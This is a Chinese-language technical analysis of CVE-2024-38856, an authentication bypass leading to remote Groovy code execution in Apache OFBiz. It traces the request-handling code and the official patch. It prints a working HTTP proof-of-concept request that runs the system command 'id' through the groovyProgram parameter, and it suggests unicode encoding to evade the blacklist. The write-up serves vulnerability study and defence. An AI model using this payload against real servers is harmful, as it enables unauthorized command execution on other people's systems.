CVE-2024-38856 Apache OFBiz18.12.15 任意代码执行漏洞分析
2024-08-29 21:00:56

前置准备

这里我选择的版本是12.8.10版本,也是上一个Groovy表达式注入修复的版本

https://www.oscs1024.com/hd/MPS-7q8o-01rs

从漏洞描述中挑选出几个关键的点

1
2
3
ProgramExport 和 EntitySQLProcessor 模块未对用户身份进行校验
将 payload 通过 base64 和 unicode 编码后绕过 SecuredUpload.isValidText 黑名单校验
通过 /webtools/control/main/ProgramExport 接口传入 groovyProgram 参数远程执行任意系统命令

具体分析

ControllerServlet

ofbiz中对于每一次请求的处理都是由一个总的Servlet来进行分发和处理请求的,定位到每一个具有web功能的模块,然后观察它的web.xml配置就能够找到这个servlet

1
2
3
4
5
6
7
<servlet>
<description>Main Control Servlet</description>
<display-name>ControlServlet</display-name>
<servlet-name>ControlServlet</servlet-name>
<servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

具体的内容跟平常的servlet一样,具有doPost和doGet方法用来处理请求,只不过这里POST请求统一封装到了doGet方法中

image

这里的内容其实没什么好讲的,只需注意对RequestHandler的初始化时,将我们此时请求的路由所对应的controllerxml文件已经封装好了就行。然后验一下每次请求共同的常规设置,针对每一次特定的请求处理还是往下看RequestHandler的内容.

1
2
3
4
5
6
7
8
9
10
11
String errorPage = null;
try {
// the ServerHitBin call for the event is done inside the doRequest method
handler.doRequest(request, response, null, userLogin, delegator);
} catch (MethodNotAllowedException e) {
response.setContentType("text/plain");
response.setCharacterEncoding(request.getCharacterEncoding());
response.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED);
response.getWriter().print(e.getMessage());
Debug.logError(e.getMessage(), module);
}

RequestHandler的具体解析

由于doRequest方法的内容将近500多行,这里肯定不能一次性理清,下面只列出三个部分的关键性代码:关于影响到我们的payload流入sink点的几个关键点以及是如何根据路由调用到对应模块的功能的最后是鉴权(这一点不会讲太多,因为该漏洞的利用不需要用到之前几个CVE的鉴权流程)

在doRequest方法的最开始,进行了一次对各模块的controller配置的加载。

1
2
3
4
5
6
try {
ccfg = new ControllerConfig(getControllerConfig());
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}

具体的getControllerConfig如下,此时的controllerConfigURL​值为file:/usr/src/apache-ofbiz/framework/webtools/webapp/webtools/WEB-INF/controller.xml

1
2
3
4
5
6
7
8
9
public ConfigXMLReader.ControllerConfig getControllerConfig() {
try {
return ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {
// FIXME: controller.xml errors should throw an exception.
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
}
return null;
}

我们可以定位到webtools的controller.xml内容,代码量有点多,只定位到我们指定的main路由下,这里返回的参数比较重要。一个是security标签,另一个是response标签,返回的内容是success,type为view。这也是我们之后会进入渲染view逻辑的前提。

image

然后在所有的controller.xml文件中,最开头总会include几个用于鉴权的xml内容。在webtools.xml include了这些xml的内容,但是preprocessor的预处理内容只在common-controller中定义了

image

总计7个要预处理的event,在之后的会有一段for循环将这些event全部遍历一遍进行pre预处理,主要是影响到常规安全检测的过程,不是最主要的。

image

关键性参数获取

获取完ControllerConfig之后,开始对URL进行分部解析,这里主要是获取到"webtools"​,"main"​,"ProgramExport"​这三个部分,用来定位到具体的模块和具体的路由功能

细看一下代码中如何根据我们的路由定位到webtools模块的。

通过调用UtilHtpp.getApplicationName方法,截取URL中的第一位数据,截取的规则是/​符号分割。requestUri是截取/​之后的

1
2
3
4
5
String cname = UtilHttp.getApplicationName(request);  //cname="webtools"
String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());
String path = request.getPathInfo(); //path="/main/ProgramExport"
String requestUri = getRequestUri(path); //requesturi="main"
String overrideViewUri = getOverrideViewUri(path); //overrideViewUri="ProgramExport"
1
2
3
4
5
6
7
8
9
public static String getApplicationName(HttpServletRequest request) {
String appName = "root";
if (request.getContextPath().length() > 1) {
appName = request.getContextPath().substring(1);
}
// When you set a mountpoint which contains a slash inside its name (ie not only a slash as a trailer, which is possible),
// as it's needed with OFBIZ-10765, OFBiz tries to create a cookie with a slash in its name and that's impossible.
return appName.replaceAll("/","_");
}

之后根据ControllerConfig以及request封装一个RequestMaps,整个Maps其实就是webtools Controllerxml中的所有路由标签键值对,然后根据我们当次请求的requestUri(也就是”main”)进行匹配,所获取到的包含当前请求requesturi对应的路由标签requestMap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Collection<RequestMap> rmaps = resolveURI(ccfg, request);

......

String method = request.getMethod();
RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> {
String msg = UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig",
UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request));
return new MethodNotAllowedException(msg);
});

//最终获取到的map内容如下:
<request-map uri="main">
<security https="true" auth="false"/> //注意这里不需要auth,表明该功能不需要鉴权。
<response name="success" type="view" value="main"/>
</request-map>

继续往下走是判断我们是否为chain请求,这里其实不用管,我们进入RequestHandler的时候chain选项就是false,所以不会进入if (chain)的内容,但是其else内容还是要进的。这里的else内容就是我们上面留下的那7个pre Event的执行了,循环遍历,并且一一invoke到具体的代码逻辑,整体对我们漏洞执行无影响,大概就是一些常规的该项目自带的安全前置检测,JWT校验等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) {  //ControllerConfig中的ProcessorEvent的是很多的,但是pre只有那么几个
try {
String returnString = this.runEvent(request, response, event, null, "preprocessor");
if (returnString == null || "none".equalsIgnoreCase(returnString)) {
interruptRequest = true;
} else if (!"success".equalsIgnoreCase(returnString)) {
if (!returnString.contains(":_protect_:")) {
throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'.");
} else { // protect the view normally rendered and redirect to error response view
returnString = returnString.replace(":_protect_:", "");
if (returnString.length() > 0) {
request.setAttribute("_ERROR_MESSAGE_", returnString);
}
eventReturn = null;
// check to see if there is a "protect" response, if so it's ok else show the default_error_response_view
if (!requestMap.requestResponseMap.containsKey("protect")) {
if (ccfg.getProtectView() != null) {
overrideViewUri = ccfg.getProtectView();
} else {
overrideViewUri = EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator);
overrideViewUri = overrideViewUri.replace("view:", "");
if ("none:".equals(overrideViewUri)) {
interruptRequest = true;
}
}
}
}
}
} catch (EventHandlerException e) {
Debug.logError(e, module);
}

鉴权绕过分析

过完这段else里面的大for之后,比较关键的鉴权逻辑如下:

1
2
3
4
5
6
//      
if (requestMap.securityAuth) {
....
}else{
....
}

这里为什么我折叠了起来呢?不知道是否还记得最开始获取requestMap的时候,我们定位到了main的键值对标签,其中 标签中auth的值为false,对应的就是此时requestMap.securityAuth​为false,也就是我们当前webtools/main这个路由是不需要鉴权的,直接润。但是我们最终利用的是ProgramExport​路由的渲染功能,查看一下ProgramExport​在webtools的xml中是如何定义的

1
2
3
4
5
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>

可以看到ProgramExport本身是需要鉴权的,也就是auth=true。那为什么requestMap.securityAuth​的结果是main路由下的false呢?回到requestMap的获取过程

requestMap是通过requestMaps获取到的,跟进一下requetMaps构造的具体逻辑

1
Collection<RequestMap> rmaps = resolveURI(ccfg, request);

image

这里最关键的判断是

1
2
3
4
if (requestMapMap.containsKey(requestUri)
// Ensure that overridden view exists.
&& (viewUri == null || viewMapMap.containsKey(viewUri)
|| ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString()))))

requestMapMap封装的是webtools的controllerxml文件中所有的路由映射,这里我们肯定能够匹配到main​下的路由映射。之后试图映射viewMapMap也肯定能够匹配到ProgramExport​。所以这里的if判断肯定是能过的,过了之后就执行了下面的requestMaps的获取,他这里仅仅只是获取路由映射作为requestMaps的结果,这里是很正常的思路,但是到了之后的response返回时,却采取的是viewUri视图映射的逻辑了

1
rmaps = requestMapMap.get(requestUri);

补充了一些鉴权的前置部分,继续往下走逻辑的话,是关于当前requestMap,也就是main路由下的配置检查,如果存在event,则需要定位到相关的event对应类和方法,并且执行逻辑。执行完之后要封装eventReturnResponse。但是main路由下是没有event的,所以这些逻辑是不用走的。

结果渲染

最后就是将repsonse和其他结果进行渲染返回了。不过还是要判断一下当前request(main路由)的response类型,再做具体的执行逻辑。在main路由中对应的response类型是view

1
<response name="success" type="view" value="main"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    
if ("url".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect." + showSessionId(request), module);
callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString());
} else if ("url-redirect".equals(nextRequestResponse.type)) {
// check for a cross-application redirect
if (Debug.verboseOn())
Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect with redirect parameters."
+ showSessionId(request), module);
callRedirect(nextRequestResponse.value + this.makeQueryString(request, nextRequestResponse), response,
request, ccfg.getStatusCodeString());
} else if ("cross-redirect".equals(nextRequestResponse.type)) {
// check for a cross-application redirect
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Cross-Application redirect." + showSessionId(request), module);
String url = nextRequestResponse.value.startsWith("/") ? nextRequestResponse.value : "/" + nextRequestResponse.value;
callRedirect(url + this.makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect." + showSessionId(request), module);
callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect-noparam".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect with no parameters." + showSessionId(request), module);
callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString());
} //前面的if都可以不用看,我们直接来到处理view response的块
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else{
..............
}

这里的viewName是通过一个三目运算得来,UtilValidate.isNotEmpty(overrideViewUri)​overrideViewUri就是我们最开始获取到的ProgramExport了,所以这里肯定不为空。然后是eventReturn == null || "success".equals(eventReturn)​这个判断,首先main获取到的eventReturn就为空,所以或运算得到就是true,最终viewName​被赋值为了overrideViewUri​,也就是ProgramExport了

跟进renderView方法,代码量还是有点多的,只截取几段关键性代码:

首先是ProgramExport的view配置信息的获取,在webtools的controllerxml中,ProgramExport的view设置为<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>

EntityScreens.xml​中的ProgramExport内容如下:

image

ControllerConfig将这些内容全部解析之后存储起来,此时的render方法就会通过getViewMapMap().get(xxxview)​将其获取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 ConfigXMLReader.ViewMap viewMap = null;
try {
viewMap = (view == null ? null : getControllerConfig().getViewMapMap().get(view));
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}

.......
if (viewMap.page == null) {
if (!allowExtView) {
throw new RequestHandlerException("No view to render.");
} else {
nextPage = "/" + oldView;
}
} else {
nextPage = viewMap.page;
}

.......
try {
if (Debug.verboseOn()) Debug.logVerbose("Rendering view [" + nextPage + "] of type [" + viewMap.type + "]", module);
ViewHandler vh = viewFactory.getViewHandler(viewMap.type);
vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp);
} catch (ViewHandlerException e) {
Throwable throwable = e.getNested() != null ? e.getNested() : e;
throw new RequestHandlerException(e.getNonNestedMessage(), throwable);
}
.......

此时的nextpage就是component://webtools/widget/EntityScreens.xml#ProgramExport​这一段字符串,用来定位具体的page设置。之后跟进vh.render方法,内容比较多,也是按照关键性逻辑来讲。

首先是对component://webtools/widget/EntityScreens.xml#ProgramExport​这个资源项的解析,他首先要定位到component://webtools/widget/EntityScreens.xml​的具体位置,然后读取此xml文件的所有内容,进行循环匹配ProgramExport​的操作,并将其取出。具体的实现是通过ScreenFactory.getScreenFromLocation​实现,并将ProgramExport的具体内容封装成了modelScreen对象

image

具体看一下ModelScreen的构造方法

image

最后初始化了一个ModelScreenWidget​的内部类Section,这个Section就是EntityScreensxml文件中各视图元素的具体内容,而Section中又封装了ProgramExport​路由的action属性

image

这个action属性的具体内容如下,它包含了我们要执行的groovy脚本的具体地址。

image

后续的内容就是ModelScreen调用Section的renderWidgetString方法,进而调用到AbstractModelAction子类Script的runAction方法,执行Groovy脚本

image

image

image

漏洞利用到这里就结束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: localhost:8443
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: Phpstorm-63ee3e40=51a64c0d-a81d-4ebf-b733-34a7e8541a1d; 6WNw_2132_ulastactivity=cd70Mo4Rmnmx8E7unOmyCD7JqvsYbj%2BjlrK8Gil4OGaCByIkgJVt; 6WNw_2132_nofavfid=1; XDEBUG_SESSION=PHPSTORM; M5N4_2132_ulastactivity=c561BiOMrreY5EPC0B6wLBzqsvErShDer4PT7j9ClqA8%2Ba%2B99dRv; M5N4_2132_lastcheckfeed=1%7C1716190113; M5N4_2132_nofavfid=1; cookieconsent_status=dismiss
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

groovyProgram=throw new Exception('id'.execute().text);

image

深入利用和其他

编码绕过黑名单waf

首先就是Groovy脚本中是存在waf的

image

具体内容如下

image

这其实很容易绕过,有很多种方式,但是最为经典的还是用unicode去绕,因为本身java中字符串就是由unicode编码的,而我们传入的groovyProgram也是字符串形式。当然,如果不用unicode去绕过,也有很多绕过的方式,这里就不细讲,主要是关于groovy的相关知识。

鉴权思路总结

在上文中我应该提到过,但是为了文章的结构性我没有在当时细讲,只是提了一嘴。这里就好好的分析一下

我们看到请求路由:

1
webtools/control/main/ProgramExport

在doRequest方法中关于路由的截取处理的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
 	//cname="webtools"
String cname = UtilHttp.getApplicationName(request);

//defaultRequestUri="main"
String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());

//Servlet-API中自带的方法,path="main/ProgramExport"
String path = request.getPathInfo();
//requestUri="main"
String requestUri = getRequestUri(path);
//overrideViewUri="ProgramExport"
String overrideViewUri = getOverrideViewUri(path);

光从这几条代码和结果中看不出什么,接下来我们来看一下webtools模块下web.xml的内容:

对于总路由请求ControllerServlet的url-pattern的设置路由如下

image

也就是这一段url-pattern的值,限制了我们调用HttpRequest.getPathInfo()获取路由信息就会往control这一层之后去截取。这也是常用于 RESTful 风格的 API 路由,通过路由来动态获取请求信息。之后的getRequestUri​和getOverrideViewUri​方法,就是固定的将main/ProgramExport​这一段字符串按照/​进行分割,RequestUri​取前一个,OverrideViewUri​取后一个。

在此之后RequestUri​将作为RequestMaps的主要判断依据,从对应的Controller.xml中获取对应的路由配置

1
Collection<RequestMap> rmaps = resolveURI(ccfg, request);

具体看到resolveURI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static Collection<RequestMap> resolveURI(ControllerConfig ccfg, HttpServletRequest req) {
Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap();
Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap();
String defaultRequest = ccfg.getDefaultRequest();
String path = req.getPathInfo();
String requestUri = getRequestUri(path);
String viewUri = getOverrideViewUri(path);
Collection<RequestMap> rmaps;
//最重要的就是这段if判断了,上文细讲过,产生的结果就是整个RequestMaps中存入的内容是"main"对应的路由信息,这里就不在赘述了。
if (requestMapMap.containsKey(requestUri)
// Ensure that overridden view exists.
&& (viewUri == null || viewMapMap.containsKey(viewUri)
|| ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){
rmaps = requestMapMap.get(requestUri);
} else if (defaultRequest != null) {
rmaps = requestMapMap.get(defaultRequest);
} else {
rmaps = null;
}
return rmaps != null ? rmaps : Collections.emptyList();
}

而之后的RequestMap单个的获取,也仅仅只是从rmaps中遍历每一个requestmap,然后匹配到对应的map进行获取。对应到示例路由就是

image

由于security标签中的auth属性值为false,所以当前取到的requestMap中securityAuth​属性值为false,从而也能绕过这一段鉴权逻辑。这也是Y4tacker师傅发现的该漏洞绕过鉴权的思路

image

然而requestMap的作用还不止这些,当走完处理requestMap的Event逻辑之后(有event就会率先执行event的内容,没有就直接往下走),要把结果返回出去。这里也就是涉及到了<response>​标签的作用,它的type为view,表示最后的返回结果要通过视图解析。

具体的代码如下:

1
2
3
4
5
6
if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);

viewName被赋值为了overrideViewUri,也就是ProgramExport。再从webtools的.controller.xml中读取ProgramExport的view标签内容,发现它的page是一段加载路径

1
<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>

到后面的内容其实根据page的路径去读取EntityScreens.xml文件内容,并且定位到ProgramExport所对应属性值,加载groovy脚本。上文分析过就不细谈了。

所以我们最终利用的还是overrideViewUri

Groovy利用总结

为什么最终利用到的GroovyPayload是throw Exception("id".execuate().text)​呢?

首先不论是哪种groovypayload,即使你直接"id".execuate().text​传值过去都是没问题的,但是问题是我们需要有回显,也就是说当我们这么执行过后,sink的groovy脚本中是没有给我们把groovyshell.evaluate()的结果回显出来的,然后回到源码处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
context.put("xmlDoc", xmlDoc)
} catch(MultipleCompilationErrorsException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(groovy.lang.MissingPropertyException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(IllegalArgumentException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(NullPointerException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(Exception e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
}

最后有5段catch,每一段catch都会将我们的此次shell.evaluate的执行过程中遇到的exception全部当作结果回显出来,这也是为什么我们要指定throw Exception​,也就为了能够走到catch的情况中,回显.

patch分析

再来看一下官方具体怎么修的

https://github.com/apache/ofbiz-framework/commit/31d8d7

添加如下鉴权groovy代码

image

image

具体的实现代码:

image

其实本质上就是从数据库中select出所有的有权限用户,然后匹配此时Groovy脚本中指定的ENTITY_MAINT​。这个值具体有没有默认存入数据库就没去看了,现在思考是否存在其他利用方式?

利用总结

最后贴一下poc,groovyProgram还是用unicode编码一下,这里我就按原始的来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: localhost:8443
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: Phpstorm-63ee3e40=51a64c0d-a81d-4ebf-b733-34a7e8541a1d; 6WNw_2132_ulastactivity=cd70Mo4Rmnmx8E7unOmyCD7JqvsYbj%2BjlrK8Gil4OGaCByIkgJVt; 6WNw_2132_nofavfid=1; XDEBUG_SESSION=PHPSTORM; M5N4_2132_ulastactivity=c561BiOMrreY5EPC0B6wLBzqsvErShDer4PT7j9ClqA8%2Ba%2B99dRv; M5N4_2132_lastcheckfeed=1%7C1716190113; M5N4_2132_nofavfid=1; cookieconsent_status=dismiss
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

groovyProgram=throw Exception("id".execuate().text)